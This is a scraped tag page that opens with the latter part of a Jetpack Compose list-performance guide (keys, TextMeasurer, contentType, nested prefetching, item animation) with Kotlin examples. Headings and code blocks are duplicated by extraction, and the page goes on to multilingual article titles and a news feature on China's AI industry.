} This key ensures that Compose can track the identity of items across recompositions - just like areItemsTheSame. key areItemsTheSame Handling content updates (areContentsTheSame) is a bit different in Compose, as it leverages internal recomposition strategies. A good rule of thumb here is to always prefer immutable UI models - achieved easily by using the @Immutable annotation or defining data classes with val fields exclusively. Furthermore, starting from Compose compiler 2.x (bundled with Kotlin 2.0.20), Strong Skipping mode is enabled by default, providing automatic optimization and removing the need for manual handling of immutable collections. areContentsTheSame @Immutable Asynchronous Text Layout: From PrecomputedText to TextMeasurer Asynchronous Text Layout: From PrecomputedText to TextMeasurer RecyclerView veterans relied on PrecomputedText to shift expensive text-layout work onto a background thread before the view holder ever appeared on the screen. Jetpack Compose tackles this same challenge effectively through built-in paragraph caching and the TextMeasurer API. Let’s map these familiar techniques onto Compose's new terrain step by step 1. Paragraph caching (built-in optimization) Every time you emit a Text composable, Compose caches a fully-laid-out Paragraph within the current composition. As long as the text content, styling, density, and locale remain unchanged, Compose reuses this cached paragraph, avoiding unnecessary layout computations. This effectively reduces overhead for most intra-viewport updates and provides immediate performance gains without additional effort. Paragraph 2. When it is time for big guns: Using TextMeasurer For heavyweight or complex text scenarios (e.g., long paragraphs, variable fonts, or custom canvas drawing) where even occasional on-scroll layout recalculations are unacceptable, leverage the TextMeasurer API - think of it as the Compose counterpart to PrecomputedText.create(). TextMeasurer API PrecomputedText.create() Benefits of using TextMeasurer: Precise Layout Control: Pre-measuring text off-screen provides exact item heights before composable placement, preventing layout shifts during scrolling.
Dynamic Overflow Detection: Access properties like layoutResult.hasVisualOverflow to conditionally render UI elements such as "Read more" indicators.
Enhanced Scroll Performance: By knowing exact item dimensions beforehand, LazyColumn calculates scroll positions more efficiently, ensuring smoother scrolling. Precise Layout Control: Pre-measuring text off-screen provides exact item heights before composable placement, preventing layout shifts during scrolling. Precise Layout Control Dynamic Overflow Detection: Access properties like layoutResult.hasVisualOverflow to conditionally render UI elements such as "Read more" indicators. Dynamic Overflow Detection layoutResult.hasVisualOverflow Enhanced Scroll Performance: By knowing exact item dimensions beforehand, LazyColumn calculates scroll positions more efficiently, ensuring smoother scrolling. Enhanced Scroll Performance LazyColumn However, introducing TextMeasurer increases complexity. You must: TextMeasurer Manage recomposition carefully, especially during configuration changes (e.g., font scale, screen orientation), requiring items to be re-measured appropriately.
Implement caching to avoid redundant measurements of identical content, preserving performance. Manage recomposition carefully, especially during configuration changes (e.g., font scale, screen orientation), requiring items to be re-measured appropriately. Implement caching to avoid redundant measurements of identical content, preserving performance. @Composable
fun MeasuredMessageList(messages: List<String>) {
    val textMeasurer = rememberTextMeasurer()
    val screenWidthPx = with(LocalDensity.current) {
        (LocalConfiguration.current.screenWidthDp.dp - 32.dp).toPx().toInt()
    }

    LazyColumn(
        modifier = Modifier
            .fillMaxSize()
    ) {
        items(messages) { message ->
            val layoutResult = textMeasurer.measure(
                text = AnnotatedString(message),
                style = TextStyle(fontSize = 16.sp),
                maxLines = 3,
                overflow = TextOverflow.Ellipsis,
                constraints = Constraints(
                    maxWidth = screenWidthPx
                )
            )
            
            val itemHeight = with(LocalDensity.current) {
                layoutResult.size.height.toDp() + 16.dp 
            }

            Box(
                modifier = Modifier
                    .fillMaxWidth()
                    .height(itemHeight)
                    .padding(horizontal = 16.dp, vertical = 8.dp)
            ) {
                Text(
                    text = message,
                    style = TextStyle(fontSize = 16.sp),
                    maxLines = 3,
                    overflow = TextOverflow.Ellipsis
                )
            }
        }
    }
} @Composable
fun MeasuredMessageList(messages: List<String>) {
    val textMeasurer = rememberTextMeasurer()
    val screenWidthPx = with(LocalDensity.current) {
        (LocalConfiguration.current.screenWidthDp.dp - 32.dp).toPx().toInt()
    }

    LazyColumn(
        modifier = Modifier
            .fillMaxSize()
    ) {
        items(messages) { message ->
            val layoutResult = textMeasurer.measure(
                text = AnnotatedString(message),
                style = TextStyle(fontSize = 16.sp),
                maxLines = 3,
                overflow = TextOverflow.Ellipsis,
                constraints = Constraints(
                    maxWidth = screenWidthPx
                )
            )
            
            val itemHeight = with(LocalDensity.current) {
                layoutResult.size.height.toDp() + 16.dp 
            }

            Box(
                modifier = Modifier
                    .fillMaxWidth()
                    .height(itemHeight)
                    .padding(horizontal = 16.dp, vertical = 8.dp)
            ) {
                Text(
                    text = message,
                    style = TextStyle(fontSize = 16.sp),
                    maxLines = 3,
                    overflow = TextOverflow.Ellipsis
                )
            }
        }
    }
} TextMeasurer is particularly useful for: Lists with variable-length text content
Chat applications or message lists
Article or comment feeds
Any scenario where text length significantly varies between items Lists with variable-length text content Chat applications or message lists Article or comment feeds Any scenario where text length significantly varies between items Importance of contentType Importance of contentType In RecyclerView, developers utilize view types (getItemViewType()) to efficiently handle multiple item layouts within a single list. Jetpack Compose introduces the equivalent optimization through the contentType parameter in LazyColumn. getItemViewType() contentType LazyColumn Here's a way of how you'd express the RecyclerView view types in Jetpack Compose: // RecyclerView
override fun getItemViewType(position: Int): Int {
    return when (items[position]) {
        is TextMessage -> VIEW_TYPE_TEXT
        is ImageMessage -> VIEW_TYPE_IMAGE
        is VideoMessage -> VIEW_TYPE_VIDEO
        else -> VIEW_TYPE_UNKNOWN
    }
}

// LazyColumn
LazyColumn {
        items(
            items = messages,
            key = { message -> message.id },
            contentType = { message -> 
                when (message) {
                    is Message.TextMessage -> "text"
                    is Message.ImageMessage -> "image"
                    is Message.VideoMessage -> "video"
                }
            }
        ) { message ->
            MessageItem(message)
        } // RecyclerView
override fun getItemViewType(position: Int): Int {
    return when (items[position]) {
        is TextMessage -> VIEW_TYPE_TEXT
        is ImageMessage -> VIEW_TYPE_IMAGE
        is VideoMessage -> VIEW_TYPE_VIDEO
        else -> VIEW_TYPE_UNKNOWN
    }
}

// LazyColumn
LazyColumn {
        items(
            items = messages,
            key = { message -> message.id },
            contentType = { message -> 
                when (message) {
                    is Message.TextMessage -> "text"
                    is Message.ImageMessage -> "image"
                    is Message.VideoMessage -> "video"
                }
            }
        ) { message ->
            MessageItem(message)
        } Why it matters: While Compose allows omission of the contentType parameter, leaving it out negatively impacts performance, particularly for lists with mixed item types. Compose maintains a limited composition cache per contentType, enabling it to efficiently reuse existing compositions for items of the same visual structure without expensive rebuilds. Without specifying distinct contentTypes, all items default to a single type, rapidly exhausting Compose’s internal cache. This forces frequent recompositions as users scroll, significantly increasing CPU load and potentially introducing noticeable scrolling lag. contentType contentType For optimal performance in lists with heterogeneous content, always specify the appropriate contentType to match your data structure. contentType Nested List Prefetching: From initialPrefetchItemCount to nestedPrefetchItemCount Nested List Prefetching: From initialPrefetchItemCount to nestedPrefetchItemCount initialPrefetchItemCount nestedPrefetchItemCount When developing apps with nested scrolling lists - such as vertical feeds containing horizontal carousels - optimizing prefetching is crucial for maintaining a smooth user experience. In traditional RecyclerView setups, we rely on setInitialPrefetchItemCount to preload off-screen items. Jetpack Compose provides a direct analogue through the experimental LazyListPrefetchStrategy API, specifically its nestedPrefetchItemCount parameter. setInitialPrefetchItemCount LazyListPrefetchStrategy nestedPrefetchItemCount Here's how you implement prefetching in a nested Compose list scenario: @OptIn(ExperimentalFoundationApi::class)
@Composable
fun ShowCarousels(sections: List<Section>) {
    LazyColumn(
        modifier = Modifier.fillMaxSize()
    ) {
        items(sections, key = { it.id }) { section ->
            val rowState = rememberLazyListState(
                prefetchStrategy = LazyListPrefetchStrategy(
                    nestedPrefetchItemCount = 6)
            )

            Text(
                text = section.title,
                style = MaterialTheme.typography.titleMedium,
                modifier = Modifier.padding(start = 16.dp, top = 8.dp)
            )

            LazyRow(
                state = rowState,
                contentPadding = PaddingValues(horizontal = 16.dp),
                horizontalArrangement = Arrangement.spacedBy(12.dp)
            ) {
                items(
                    items = section.cards,
                    key = { it.id },
                    contentType = { "card" }
                ) { card ->
                    CardItem(card)
                }
            }
        }
    }
} @OptIn(ExperimentalFoundationApi::class)
@Composable
fun ShowCarousels(sections: List<Section>) {
    LazyColumn(
        modifier = Modifier.fillMaxSize()
    ) {
        items(sections, key = { it.id }) { section ->
            val rowState = rememberLazyListState(
                prefetchStrategy = LazyListPrefetchStrategy(
                    nestedPrefetchItemCount = 6)
            )

            Text(
                text = section.title,
                style = MaterialTheme.typography.titleMedium,
                modifier = Modifier.padding(start = 16.dp, top = 8.dp)
            )

            LazyRow(
                state = rowState,
                contentPadding = PaddingValues(horizontal = 16.dp),
                horizontalArrangement = Arrangement.spacedBy(12.dp)
            ) {
                items(
                    items = section.cards,
                    key = { it.id },
                    contentType = { "card" }
                ) { card ->
                    CardItem(card)
                }
            }
        }
    }
} Common pitfall here (at least, the one that I saw with my own eyes) - sometimes developers set LazyListPrefetchStrategy to parent list and not to the nested ones, which, obviously, gains no effect. Always ensure you apply nestedPrefetchItemCount to the nested, inner scrolling list state to achieve the intended optimization. LazyListPrefetchStrategy nestedPrefetchItemCount Be mindful that aggressive prefetch settings can significantly inflate Compose’s composition cache. On memory-constrained devices, overly large prefetch counts can push your app toward OOM crashes. Always profile memory usage carefully after adjusting your prefetch budgets - especially if targeting low-end hardware. Bonus part - animating your lists Bonus part - animating your lists And finally, let's talk about animations. Compose 1.7 makes adding smooth item animations surprisingly straightforward especially compared to custom RecyclerView ItemAnimators. Instead of manually orchestrating animations, simply use Modifier.animateItem() with concise specs for fades and movements: Modifier.animateItem() Modifier.animateItem(
    fadeInSpec = tween(200),
    fadeOutSpec = tween(120),
    placementSpec = spring(stiffness = Spring.StiffnessMediumLow)
) Modifier.animateItem(
    fadeInSpec = tween(200),
    fadeOutSpec = tween(120),
    placementSpec = spring(stiffness = Spring.StiffnessMediumLow)
) This reduces complexity, enabling you to easily deliver polished and engaging UIs. Conclusion Conclusion Jetpack Compose transforms Android UI development, simplifying many complexities that have challenged RecyclerView users. However, maximizing Compose's potential still demands strategic insight and careful application of optimization techniques. By leveraging keys for identity checks, using immutable models to optimize recompositions, mastering the TextMeasurer API for efficient text handling, and applying correct prefetch strategies for nested lists, your performance skills from RecyclerView will significantly enhance your Compose applications. Embrace these methods, and you'll ensure your UI remains fluid, responsive, and delightful for users - proving once again that foundational performance strategies never go out of style, they simply evolve.

From RecyclerView to LazyColumn: A Performance Optimization Playbook for Jetpack Compose

The AI Engineer’s Playbook: Mastering Vector Search & Management (Part 2)

Igračka knjiga AI inženjera: Mastering Vector Search & Management (Part 2)

El juego del ingeniero de IA: dominar la búsqueda y la gestión de vectores (Parte 2)

The AI Engineer's Playbook: Mastering Vector Rechèch ak jesyon (Part 2)

The AI Engineer's Playbook: Mastering Vector Search & Management(第2部)

Инженер на вештачка интелигенција: Мастеринг векторски пребарување и управување (дел 2)

The AI Engineer's Playbook: Mastering Vector Search & Management (deel 2)

Плаибоок АИ инжењера: Мастеринг векторског претраживања и управљања (Део 2)

The AI Engineer's Playbook: Mastering Vector Search & Management (ส่วน 2)

The AI Engineer's Playbook: Mastering Vector Search & Management (Bölüm 2)

The AI Engineer’s Playbook: Mastering Vector Search & Management (Phần 2)

I-I.I. Engineer's Playbook: Ukufundwa kweVector Search & Management (I-Part 2)

The AI Engineer’s Playbook: Master Data Sources for Retrieval Systems (Part 1)

China is rapidly scaling AI dominance through massive investment, government-backed innovation, and aggressive competition. But can it sustain its AI momentum? China is rapidly scaling AI dominance through massive investment, government-backed innovation, and aggressive competition. But can it sustain its AI momentum? The global artificial intelligence (AI) race isn’t just about innovation anymore—it’s a battle for dominance in efficiency, affordability, and accessibility. To take the lead, China is making serious moves. The country now aims to lead the AI revolution, and recent developments like DeepSeek R1 suggest it’s closing in on that goal. With billions pouring into AI infrastructure and regulations designed to fast-track innovation, China is set to position itself as anAI powerhouse by 2030. AI powerhouse by 2030 AI powerhouse by 2030 In 2024 alone, its private sector pumped $3.15 billion into generative AI—a staggering 500% jump from the previous year. According to a report by Bain & Company, AI is expected to contribute $600 billion annually to China’s economy by the end of the decade, the impact reaches far beyond tech. $3.15 billion into generative AI $3.15 billion into generative AI report by Bain & Company report by Bain & Company However, it's not only the country’s tech giants that drive its AI momentum—startups are shaking up the race. While industry leaders like Baidu and Alibaba spearhead large language model (LLM) innovation, emerging players like ShengShu are proving to be serious contenders against OpenAI and Meta. China’s AI Arsenal: Formidable Competitors in the Global AI Arms Race Alibaba’s latest LLM, Qwen 2.5, is making waves with its superior text, image, and audio processing capabilities. Supporting 29 languages and handling up to 128,000 tokens in a single conversation, it far exceeds the context window of previous models. The company is also teaming up with Apple to support iPhone AI services in China—a strategic move that could help Apple regain ground as it battles slipping smartphone sales in its key market. While Apple’s devices outside China rely on a blend of its own Apple Intelligence and OpenAI’s ChatGPT, it remains unclear whether the Alibaba partnership will follow a similar path. Meanwhile, Baidu is gearing up to launch Ernie 5 in late 2025, a multimodal model designed to process and generate text, video, images, and audio. Ernie 5 in late 2025 Ernie 5 in late 2025 China’s also making waves in video AI, a key battleground for U.S. tech giants. One standout player is ShengShu Technology, rivaling OpenAI’s Sora with its Vidu 2.0 model within the next six months. Backed by Baidu Ventures, Vidu 2.0 can generate AI-driven videos at just $0.0375 per second—an astonishing 52% lower than the industry average. Vidu’s one-click prompt templates allow users to easily create complex actions, props, and animations with a single command. So why is China’s AI sector suddenly booming? A big part of China’s success comes from its universities and academic institutions, where top researchers often stay in academia rather than jumping to big tech—a stark contrast to their Western counterparts, where talent is quickly snapped up by companies. “The U.S. is currently underinvesting in its academic ecosystem,” Yury Lifshits, founder and CEO of AI video tool Nim, told me. “Much of the progress in AI and technology has been driven by a strong academic foundation and an open-source culture that fosters collaboration. Innovation cannot rely solely on corporate efforts.” The country has implemented a research evaluation system that favors publications indexed by the Science Citation Index (SCI). SCI papers are mandatory for doctoral degrees, faculty hiring and promotion, funding applications and university rankings. Monetary incentives and performance bonuses are used to encourage Chinese scholars to publish SCI papers. Some universities offer cash-per-publication policies, leading to additional revenues for researchers. additional revenues additional revenues Rather than chasing AI for the sake of innovation, China is focused on building tech that’s practical and widely useful for particular use cases—one of the key reasons behind its rapid advancement. Moreover, the rise of open source culture within its tech startup ecosystem has also led to a substantial new flurry of ideas, especially for AI. There’s also a strong business and economic incentive for Chinese companies to align with government goals. The government employs various policy incentives such as grants, tax breaks and preferential treatment for companies that align with its strategic goals. “The government sets long-term targets—where they want to be in five or ten years—but companies have plenty of freedom in how they get there. That creates a landscape where multiple approaches are explored at once, even fostering competition within companies to hit the broader objective,” Itamar Friedman, CEO and co-founder of Qodo, told me. Friedman, a former Director of Machine Vision at Alibaba, believes this structured yet flexible approach helps prevent wasteful over-investment. He noted that China’s AI push isn’t a sudden, unsustainable boom—it’s the result of a long-term strategy that dates back to 2016 when the country ramped up AI investment after DeepMind’s AlphaGo victory. Can the West and Others Keep Up with China’s AI Expansion? For years, the U.S. has seemingly led the AI race, largely driven by innovations from Silicon Valley giants including OpenAI, Google DeepMind and Meta. Europe, on the other hand, though slower to build major AI companies, has played a key role in shaping AI ethics and regulation. But China’s AI ecosystem operates differently. “Chinese AI firms have unparalleled access to vast amounts of data, often collected through government-backed initiatives, which enables them to develop more accurate and effective AI models,” said Serena H. Huang, AI Advisor at Fortune 100 companies and a former big tech analytics leader. “They have been able to leverage their country's large population and mobile-first economy to develop AI solutions that are highly scalable and adaptable to real-world scenarios.” With vast data access and a culture of rapid deployment, China may soon surpass the West in certain areas of tech innovation. The U.S. government has started to recognize the heat of the global AI arms race. The Trump administration recently took steps to slow China’s progress, imposing export controls on advanced semiconductors and AI chips to curb the country’s high-performance AI computing ambitions. While such measures are aimed at protecting national interests and controlling AI’s path forward, they also hinder global innovation. “It’s possible that China will find alternative ways to boost its domestic production, accelerating innovation on its own terms,” says Friedman. “While sanctions may slow progress in the short term, they will ultimately push China to develop even more robust and independent capabilities in the chip industry.” China’s AI momentum alone won’t guarantee success. But one thing is certain: whether the West can keep pace or China stumbles under new constraints will define the next chapter of global AI innovation. “Western companies and governments should invest in AI research and development, attract and retain top talent, and prioritize ethical considerations in the development and deployment of AI technologies,” added Huang. “The global AI landscape is rapidly evolving, and China's influence is only just beginning to be realized.”

Stories, News & Mentions about PLAYBOOK

Categories

Trending Topics

Stories, News & Mentions about PLAYBOOK

Playbook’s Stories on HackerNoon

Playbook's News & Mentions

Categories

Trending Topics